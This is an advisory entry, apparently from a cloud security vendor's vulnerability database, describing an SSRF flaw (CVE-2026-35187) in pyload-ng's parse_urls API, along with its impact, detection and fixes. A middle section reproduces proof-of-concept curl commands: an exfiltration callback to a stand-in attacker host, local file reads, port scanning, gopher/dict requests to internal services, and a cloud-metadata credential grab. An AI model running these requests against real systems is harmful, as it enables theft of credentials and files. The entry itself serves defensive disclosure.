
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-35187 is a Server-Side Request Forgery (SSRF) vulnerability in the parse_urls API endpoint of pyload-ng, an open-source download manager. The flaw exists in src/pyload/core/api/__init__.py (line 556), where the get_url(url) function (backed by pycurl) fetches arbitrary URLs without any protocol restriction, URL validation, or IP blocklist. All versions of pyload-ng up to and including 0.5.0b3.dev96 are affected; the patched version is 0.5.0b3.dev97. It carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, pyload Security Advisory). The vulnerability was reported by researcher morimori-dev, published April 1, 2026, and added to the GitHub Advisory Database on April 4, 2026.
The root cause is CWE-918 (Server-Side Request Forgery): the parse_urls function passes the user-supplied url parameter directly to get_url(url) (pycurl) with no validation whatsoever — no protocol allowlist, no IP blocklist, and no hostname resolution check (GitHub Advisory). Because pycurl natively supports file://, gopher://, dict://, and other non-HTTP protocols, an attacker can abuse these to read local files, interact with internal services, or perform out-of-band DNS/HTTP exfiltration. Exploitation requires only an authenticated session with ADD permission and a valid CSRF token, making the attack complexity low. The fix (commit 4032e57) restricts the scheme to http/https and validates that the resolved hostname is a globally routable IP via a new is_global_host() helper (Patch Commit).
Successful exploitation allows an authenticated attacker to read sensitive local files (e.g., /etc/passwd, /proc/self/environ, pyload.cfg, pyload.db) via the file:// protocol, enumerate file existence through an error-based oracle (pycurl error 37 vs. empty response), and access cloud instance metadata endpoints such as AWS IAM credentials at http://169.254.169.254/ (pyload Security Advisory). Additionally, attackers can scan internal network ports via timing-based responses and interact with internal services (Redis, memcached, SMTP) via gopher:// and dict:// protocols, potentially enabling further lateral movement or remote code execution on co-located services. The scope is marked as Changed in CVSS because the vulnerable component (pyload) can affect resources beyond its own security boundary (internal network and host filesystem).
A proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, including concrete curl commands demonstrating file read, port scanning, and protocol abuse (pyload Security Advisory). The EPSS score is approximately 0.028% (0.000280), placing it in the 13th percentile for exploitation likelihood within 30 days (GitHub Advisory). There is currently no evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. Qualys has assigned detection ID 5010445 for this vulnerability.
/api/parse_urls with a URL pointing to an attacker-controlled callback server:curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: <TOKEN>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "url=http://attacker-callback.example.com/pyload-ssrf-poc" \
http://target:8084/api/parse_urlsObserve DNS/HTTP interactions on the callback server.file://: Submit a file:// URL to read sensitive files:curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: <TOKEN>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "url=file:///etc/passwd" http://target:8084/api/parse_urls
# Empty response = file exists and was read; any URL-like strings in the file are returned
curl ... -d "url=file:///nonexistent" # Returns pycurl error 37 = file does not existcurl ... -d "url=http://127.0.0.1:22/" http://target:8084/api/parse_urls
# "Failed to connect" = port closed; empty/valid response = port opengopher:///dict://: Interact with Redis, memcached, or SMTP:curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://target:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://target:8084/api/parse_urlscurl ... -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
http://target:8084/api/parse_urls(pyload Security Advisory)169.254.169.254 (AWS/GCP metadata); outbound connections to internal RFC-1918 addresses or loopback (127.0.0.1) on unusual ports (6379/Redis, 11211/memcached, 25/SMTP)./api/parse_urls with url parameters containing file://, gopher://, dict://, or http://169.254.x.x schemes; repeated requests with varying file:// paths (indicative of file enumeration); pycurl error responses such as (37, 'Couldn't open file ...') or (7, 'Failed to connect to 127.0.0.1 port ...') in application logs./proc/self/environ, /config/settings/pyload.cfg, and /config/data/pyload.db may have been accessed and their URL-like contents exfiltrated.Upgrade pyload-ng to version 0.5.0b3.dev97 or later, which restricts the parse_urls function to only allow http and https schemes and validates that the resolved hostname is a globally routable IP address via the new is_global_host() helper (Patch Commit, pyload Security Advisory). If immediate upgrade is not possible, consider restricting network-level access to the pyload instance so that only trusted users can reach the API, and apply egress firewall rules to block outbound connections from the pyload server to internal RFC-1918 ranges and cloud metadata endpoints (169.254.169.254). Additionally, review and minimize the number of accounts granted ADD permission.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."